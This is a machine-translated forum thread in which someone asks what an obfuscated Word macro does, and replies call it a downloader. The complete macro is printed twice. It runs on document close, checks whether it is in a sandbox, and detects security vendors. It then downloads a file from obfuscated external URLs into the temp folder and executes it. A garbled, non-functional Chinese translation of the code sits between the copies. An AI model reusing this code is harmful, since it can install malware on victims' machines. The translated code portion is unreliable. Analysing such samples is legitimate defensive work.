Ms word 请翻译宏(可能是病毒)

Ms word 请翻译宏(可能是病毒),ms-word,spam,virus,Ms Word,Spam,Virus,有人能翻译一下那个微型机的功能吗?我让用户打开word文档并在该文档上启用micro。我还没有看到像加密文件和资料这样奇怪的事情。我扫描了一下电脑,什么也没找到 //------------------------------------------------------------------- Public Sub Document_Close() On Error GoTo pvvXLG NTglSIW Exit Sub pvvXLG: End Sub Public Sub NTglS

有人能翻译一下那个微型机的功能吗?我让用户打开word文档并在该文档上启用micro。我还没有看到像加密文件和资料这样奇怪的事情。我扫描了一下电脑,什么也没找到

//-------------------------------------------------------------------

Public Sub Document_Close()
On Error GoTo pvvXLG
NTglSIW
Exit Sub
pvvXLG:
End Sub
Public Sub NTglSIW()
Dim GTXXYW As String
Dim ibsUqd As String
Set eIEoA = CallByName(ThisDocument, s(58, "tpaAcniolip", 108), 2)
If CallByName(eIEoA, s(68, "NresUema", 79), 2) = s(36, "SPSWBUP", 48) Then DypEq (s(99, " daBemanresu", 71))
If CallByName(CallByName(eIEoA, s(85, "csineeFeRlt", 95), 2), s(17, "tuCno", 27), 2) < 3 Then DypEq (s(63, "dythars Boi", 106))
Set dEwGV = NKccF(s(75, "t.qnH.RWistp1uHt5eintp.Wet", 245))
CallByName dEwGV, s(21, "pOne", 19), 1, s(13, "EGT", 8), s(138, "/tomscgat1m.h2cwm/d/yii:iexp//mt.owev.w/pn", 145), False
CallByName dEwGV, s(158, "ueaetdsReterHqSe", 99), 1, s(46, "feerRer", 68), s(343, "tmdmywotodxm/lhcaa-//s.-me:nsdp.tseeniwap/ri-wc", 322)
CallByName dEwGV, s(158, "ueaetdsReterHqSe", 99), 1, s(52, "esUtnegA-r", 29), s(388, "b60iMIiaN/;.  owl0tl. noEdtT5 0MTmsl./e1(dz ei .W)Srp a06;;coi1n", 83)
CallByName dEwGV, s(15, "dneS", 19), 1
If CallByName(dEwGV, s(16, "utatSs", 65), 2) >= 400 Then DypEq (s(31, "el atr PCadtIscd' soane", 110))
GTXXYW = CallByName(dEwGV, s(83, "nxpTestoeseR", 53), 2)
For Each hVzop In inwGjsO
If InStr(LCase(GTXXYW), LCase(hVzop)) <> 0 Then DypEq (s(10, "dSB PaI:", 59) & hVzop)
Next
CallByName dEwGV, s(21, "pOne", 19), 1, s(13, "EGT", 8), s(87, "5teoexcf.tdrr.gibpgracici:aoso/en/rnfmo1h/ttm/f", 55), False
CallByName dEwGV, s(158, "ueaetdsReterHqSe", 99), 1, s(52, "esUtnegA-r", 29), s(388, "b60iMIiaN/;.  owl0tl. noEdtT5 0MTmsl./e1(dz ei .W)Srp a06;;coi1n", 83)
CallByName dEwGV, s(15, "dneS", 19), 1
If CallByName(dEwGV, s(16, "utatSs", 65), 2) >= 400 Then DypEq (s(161, "oiewnCnaalrnoy'a tdf  idbl", 185))
Set WZxmL = CallByName(NKccF(s(19, "pclhtrWe.iSlS", 17)), s(107, "vtmrnnniEeo", 106), 2, s(15, "EPCSOSR", 68))
ibsUqd = WZxmL(s(14, "METP", 39)) & CallByName(eIEoA, s(50, "SprtraheaaoPt", 111), 2) & s(18, "tpm64.mtp98", 17)
Set oWaKVom = NKccF(s(38, "ODAmaertS.BD", 131))
CallByName oWaKVom, s(7, "epyT", 27), 4, 1
CallByName oWaKVom, s(21, "pOne", 19), 1
CallByName oWaKVom, s(18, "ertWi", 13), 1, CallByName(dEwGV, s(97, "eRndpBesyoos", 89), 2)
knhPKY CallByName(oWaKVom, s(48, "TaloveFeSi", 53), 1, ibsUqd, 2)
knhPKY CallByName(oWaKVom, s(48, "elsCo", 43), 1)
knhPKY CallByName(NKccF(s(19, "pclhtrWe.iSlS", 17)), s(18, "exEc", 35), 1, ibsUqd)
End Sub
Public Sub knhPKY(ByVal KhHfp)
End Sub
Public Function inwGjsO()
inwGjsO = nRnWXq(Array(s(46, "OZAMAN", 11), s(69, "NNSOYOAUM", 22), s(112, "FDBDEEIENRT", 59), s(21, "OLCB TEAU", 97), s(92, "OCT IESSMYCSS", 120), _
s(23, "REVRES", 53), s(160, "NLOORNTHSCSEETI GGO", 93), s(53, "NOMER RCDTI", 85), s(20, "WVTUTAERS", 23), s(62, "RMAHROACTEN I", 138), _
s(69, "YEIEERF", 24), s(12, "EIFCOTRPNO", 27), s(53, "OITRNFTE", 59), s(46, "NZTEHRE", 13), s(49, "OHDETS", 53), s(24, "SGTHION", 30), _
s(12, "EBAWLSEE", 11), s(94, "COISMOTRF", 70), s(22, "CROFNE", 35), s(52, "HS OSVA", 9), s(15, "PFOORPTNIO", 59), s(17, "ESYTIRUC", 63), _
s(53, "LDOCU", 12), s(14, "NAEDCR EATT", 86), s(17, "TNECATADRE", 79), s(97, "ETERACTDAN", 27), s(98, "AETDEIDCD", 56), s(62, ",PETSLE OS", 37), _
s(135, "TOOLEMAARPKCSUCKB", 72), s(79, "TSACEMIM", 23), s(37, "CIMDNERTOR", 69)))
End Function
Public Sub DypEq(ByVal gokOtzS As String)
Err.Raise Number:=2, Description:=gokOtzS
End Sub
Public Function NKccF(ByVal BItPSle As String)
Set NKccF = IXCHMN(CreateObject(BItPSle))
End Function
Public Function IXCHMN(ByVal qrfTD As Object)
Set IXCHMN = qrfTD
End Function
Public Function nRnWXq(ByVal FprBLin)
nRnWXq = FprBLin
End Function
Public Function s(ByVal DSiduK As Integer, ByVal TMIZAzM As String, ByVal ZEYKFFg As Integer) As String
Dim bNDTc As Integer
bNDTc = llGhqz(DSiduK, Len(TMIZAzM))
Do While Len(s) < Len(TMIZAzM)
s = s & fQeBD(TMIZAzM, bNDTc)
bNDTc = llGhqz((bNDTc + ZEYKFFg), Len(TMIZAzM))
Loop
End Function
Public Function fQeBD(ByVal FfvxYfH As String, ByVal bNDTc As Integer) As String
fQeBD = Right(Left(FfvxYfH, bNDTc + 1), 1)
End Function
Public Function llGhqz(ByVal VlKeYlp As Integer, ByVal rrBefv As Integer) As Integer
llGhqz = VlKeYlp - (rrBefv * (VlKeYlp \ rrBefv))
End Function
公共子文档\u Close()
关于错误转到pvvXLG
NTglSIW
出口接头
pvvXLG:
端接头
新界南总区政府合署公共小组()
作为字符串的Dim GTXXYW
作为字符串的Dim ibsUqd
设置eIEoA=CallByName(此文档,s(58,“TpacNiolip”,108),2)
如果CallByName(eIEoA,s(68,“NresUema”,79),2)=s(36,“SPSWBUP”,48),那么DypEq(s(99,“daBemanresu”,71))
如果CallByName(CallByName(eIEoA,s(85,“csineeFeRlt”,95),2),s(17,“tuCno”,27),2)<3,则DypEq(s(63,“dythars Boi”,106))
设置dEwGV=NKccF(s(75,“t.qnH.RWistp1uHt5eintp.Wet”,245))
CallByName dEwGV,s(21,“pOne”,19),1,s(13,“EGT”,8),s(138,“/tomscgat1m.h2cwm/d/yii:iexp//mt.owev.w/pn”,145),假
CallByName dEwGV,s(158,“ueaetdsReterHqSe”,99),1,s(46,“feerRer”,68),s(343,“tmdmywotodxm/lhcaa-//s.-me:nsdp.tseeniwap/ri wc”,322)
CallByName dEwGV,s(158,“ueaetdsReterHqSe”,99),1,s(52,“esUtnegA-r”,29),s(388,“B60imian/;.owl0tl.noEdtT5 0MTmsl./e1(dz ei.W)Srp a06;;coi1n”,83)
CallByName dEwGV,s(15,“dneS”,19),1
如果CallByName(dEwGV,s(16,“utatSs”,65),2)>=400,则DypEq(s(31,“el atr PCadtIscd'soane”,110))
GTXXYW=CallByName(dEwGV,s(83,“nxpTestoeseR”,53),2)
对于inwGjsO中的每个hVzop
如果InStr(LCase(GTXXYW)、LCase(hVzop))为0,则DypEq(s(10,“dSB PaI:”,59)和hVzop)
下一个
CallByName dEwGV,s(21,“pOne”,19),1,s(13,“EGT”,8),s(87,“5teoexcf.tdrr.Gibpgracii:aoso/en/rnfmo1h/ttm/f”,55),假
CallByName dEwGV,s(158,“ueaetdsReterHqSe”,99),1,s(52,“esUtnegA-r”,29),s(388,“B60imian/;.owl0tl.noEdtT5 0MTmsl./e1(dz ei.W)Srp a06;;coi1n”,83)
CallByName dEwGV,s(15,“dneS”,19),1
如果CallByName(dEwGV,s(16,“utatSs”,65),2)>=400,那么DypEq(s(161,“oiewnCnaalrnoy'a tdf idbl”,185))
设置WZxmL=CallByName(NKccF(s(19,“pclhtrWe.iSlS”,17)),s(107,“vtmrnnieeo”,106),2,s(15,“EPCSOSR”,68))
ibsUqd=WZxmL(s(14,“METP”,39))和CallByName(eIEoA,s(50,“sprtraheaopt”,111),2)和s(18,“tpm64.mtp98”,17)
设置oWaKVom=NKccF(s(38,“ODAmaertS.BD”,131))
CallByName oWaKVom,s(7,“epyT”,27),4,1
CallByName oWaKVom,s(21,“pOne”,19),1
CallByName oWaKVom,s(18,“ertWi”,13),1,CallByName(dEwGV,s(97,“Erndpbesyos”,89),2)
knhPKY CallByName(oWaKVom,s(48,“TaloveFeSi”,53),1,ibsUqd,2)
knhPKY CallByName(oWaKVom,s(48,“elsCo”,43),1)
knhPKY CallByName(NKccF(s(19,“pclhtrWe.iSlS”,17)),s(18,“exEc”,35),1,ibsUqd)
端接头
knhPKY公共分公司(ByVal KhHfp)
端接头
公共函数inwGjsO()
inwGjsO=nRnWXq(数组(s(46,“OZAMAN”,11),s(69,“NNSOYOAUM”,22),s(112,“Fdbdeienrt”,59),s(21,“OLCB TEAU”,97),s(92,“OCT IESSMYCSS”,120)_
s(23,“REVRES”,53),s(160,“Nloornthsceeti GGO”,93),s(53,“NOMER RCDTI”,85),s(20,“Wvtuaters”,23),s(62,“RMAHROACTEN I”,138)_
s(69,“YEIEERF”,24),s(12,“Eifcortpno”,27),s(53,“OITRNFTE”,59),s(46,“NZTEHRE”,13),s(49,“OHDETS”,53),s(24,“SGTHION”,30)_
s(12,“EBAWLSEE”,11),s(94,“COISMOTRF”,70),s(22,“CROFNE”,35),s(52,“HS OSVA”,9),s(15,“PFOORPTNIO”,59),s(17,“ESYTIRUC”,63)_
s(53,“LDOCU”,12),s(14,“NAEDCR EATT”,86),s(17,“Tnecatader”,79),s(97,“ETERACTDAN”,27),s(98,“AETDEIDCD”,56),s(62,“PETSLE OS”,37)_
s(135,“TOOLEMAARPKCSUCKB”,72),s(79,“TSACEMIM”,23),s(37,“CIMDNERTOR”,69)))
端函数
公共子DypEq(ByVal gokOtzS作为字符串)
错误提升编号:=2,描述:=gokOtzS
端接头
公共函数NKccF(ByVal BItPSle作为字符串)
设置NKccF=IXCHMN(CreateObject(BItPSle))
端函数
公共函数IXCHMN(ByVal qrfTD作为对象)
设置IXCHMN=qrfTD
端函数
公共功能nRnWXq(ByVal FprBLin)
nRnWXq=FprBLin
端函数
公共函数s(ByVal DSiduK作为整数,ByVal TMIZAzM作为字符串,ByVal ZEYKFFg作为整数)作为字符串
将DTC设置为整数
bNDTc=llGhqz(DSiduK,Len(TMIZAzM))
边做边做

//-------------------------------------------------------------------这只是一个下载程序。它从特定的URL下载一个文件,然后启动它。该文件目前不可用,所以我只能说这些。

看到“esUtnegA-r”(反向的“r-AgentUse”)和所有这些无方向的东西,我会把它扔掉。看起来是农场机器人的一部分,但我绝对不熟悉黑客之类的东西。谢谢各位,可能是那些加密病毒之一,试图下载程序来加密数据。
Public Sub Document_Close()
On Error GoTo pvvXLG
NTglSIW
Exit Sub
pvvXLG:
End Sub
Public Sub NTglSIW()
Dim GTXXYW As String
Dim ibsUqd As String
Set eIEoA = CallByName(ThisDocument, s(58, "tpaAcniolip", 108), 2)
If CallByName(eIEoA, s(68, "NresUema", 79), 2) = s(36, "SPSWBUP", 48) Then DypEq (s(99, " daBemanresu", 71))
If CallByName(CallByName(eIEoA, s(85, "csineeFeRlt", 95), 2), s(17, "tuCno", 27), 2) < 3 Then DypEq (s(63, "dythars Boi", 106))
Set dEwGV = NKccF(s(75, "t.qnH.RWistp1uHt5eintp.Wet", 245))
CallByName dEwGV, s(21, "pOne", 19), 1, s(13, "EGT", 8), s(138, "/tomscgat1m.h2cwm/d/yii:iexp//mt.owev.w/pn", 145), False
CallByName dEwGV, s(158, "ueaetdsReterHqSe", 99), 1, s(46, "feerRer", 68), s(343, "tmdmywotodxm/lhcaa-//s.-me:nsdp.tseeniwap/ri-wc", 322)
CallByName dEwGV, s(158, "ueaetdsReterHqSe", 99), 1, s(52, "esUtnegA-r", 29), s(388, "b60iMIiaN/;.  owl0tl. noEdtT5 0MTmsl./e1(dz ei .W)Srp a06;;coi1n", 83)
CallByName dEwGV, s(15, "dneS", 19), 1
If CallByName(dEwGV, s(16, "utatSs", 65), 2) >= 400 Then DypEq (s(31, "el atr PCadtIscd' soane", 110))
GTXXYW = CallByName(dEwGV, s(83, "nxpTestoeseR", 53), 2)
For Each hVzop In inwGjsO
If InStr(LCase(GTXXYW), LCase(hVzop)) <> 0 Then DypEq (s(10, "dSB PaI:", 59) & hVzop)
Next
CallByName dEwGV, s(21, "pOne", 19), 1, s(13, "EGT", 8), s(87, "5teoexcf.tdrr.gibpgracici:aoso/en/rnfmo1h/ttm/f", 55), False
CallByName dEwGV, s(158, "ueaetdsReterHqSe", 99), 1, s(52, "esUtnegA-r", 29), s(388, "b60iMIiaN/;.  owl0tl. noEdtT5 0MTmsl./e1(dz ei .W)Srp a06;;coi1n", 83)
CallByName dEwGV, s(15, "dneS", 19), 1
If CallByName(dEwGV, s(16, "utatSs", 65), 2) >= 400 Then DypEq (s(161, "oiewnCnaalrnoy'a tdf  idbl", 185))
Set WZxmL = CallByName(NKccF(s(19, "pclhtrWe.iSlS", 17)), s(107, "vtmrnnniEeo", 106), 2, s(15, "EPCSOSR", 68))
ibsUqd = WZxmL(s(14, "METP", 39)) & CallByName(eIEoA, s(50, "SprtraheaaoPt", 111), 2) & s(18, "tpm64.mtp98", 17)
Set oWaKVom = NKccF(s(38, "ODAmaertS.BD", 131))
CallByName oWaKVom, s(7, "epyT", 27), 4, 1
CallByName oWaKVom, s(21, "pOne", 19), 1
CallByName oWaKVom, s(18, "ertWi", 13), 1, CallByName(dEwGV, s(97, "eRndpBesyoos", 89), 2)
knhPKY CallByName(oWaKVom, s(48, "TaloveFeSi", 53), 1, ibsUqd, 2)
knhPKY CallByName(oWaKVom, s(48, "elsCo", 43), 1)
knhPKY CallByName(NKccF(s(19, "pclhtrWe.iSlS", 17)), s(18, "exEc", 35), 1, ibsUqd)
End Sub
Public Sub knhPKY(ByVal KhHfp)
End Sub
Public Function inwGjsO()
inwGjsO = nRnWXq(Array(s(46, "OZAMAN", 11), s(69, "NNSOYOAUM", 22), s(112, "FDBDEEIENRT", 59), s(21, "OLCB TEAU", 97), s(92, "OCT IESSMYCSS", 120), _
s(23, "REVRES", 53), s(160, "NLOORNTHSCSEETI GGO", 93), s(53, "NOMER RCDTI", 85), s(20, "WVTUTAERS", 23), s(62, "RMAHROACTEN I", 138), _
s(69, "YEIEERF", 24), s(12, "EIFCOTRPNO", 27), s(53, "OITRNFTE", 59), s(46, "NZTEHRE", 13), s(49, "OHDETS", 53), s(24, "SGTHION", 30), _
s(12, "EBAWLSEE", 11), s(94, "COISMOTRF", 70), s(22, "CROFNE", 35), s(52, "HS OSVA", 9), s(15, "PFOORPTNIO", 59), s(17, "ESYTIRUC", 63), _
s(53, "LDOCU", 12), s(14, "NAEDCR EATT", 86), s(17, "TNECATADRE", 79), s(97, "ETERACTDAN", 27), s(98, "AETDEIDCD", 56), s(62, ",PETSLE OS", 37), _
s(135, "TOOLEMAARPKCSUCKB", 72), s(79, "TSACEMIM", 23), s(37, "CIMDNERTOR", 69)))
End Function
Public Sub DypEq(ByVal gokOtzS As String)
Err.Raise Number:=2, Description:=gokOtzS
End Sub
Public Function NKccF(ByVal BItPSle As String)
Set NKccF = IXCHMN(CreateObject(BItPSle))
End Function
Public Function IXCHMN(ByVal qrfTD As Object)
Set IXCHMN = qrfTD
End Function
Public Function nRnWXq(ByVal FprBLin)
nRnWXq = FprBLin
End Function
Public Function s(ByVal DSiduK As Integer, ByVal TMIZAzM As String, ByVal ZEYKFFg As Integer) As String
Dim bNDTc As Integer
bNDTc = llGhqz(DSiduK, Len(TMIZAzM))
Do While Len(s) < Len(TMIZAzM)
s = s & fQeBD(TMIZAzM, bNDTc)
bNDTc = llGhqz((bNDTc + ZEYKFFg), Len(TMIZAzM))
Loop
End Function
Public Function fQeBD(ByVal FfvxYfH As String, ByVal bNDTc As Integer) As String
fQeBD = Right(Left(FfvxYfH, bNDTc + 1), 1)
End Function
Public Function llGhqz(ByVal VlKeYlp As Integer, ByVal rrBefv As Integer) As Integer
llGhqz = VlKeYlp - (rrBefv * (VlKeYlp \ rrBefv))
End Function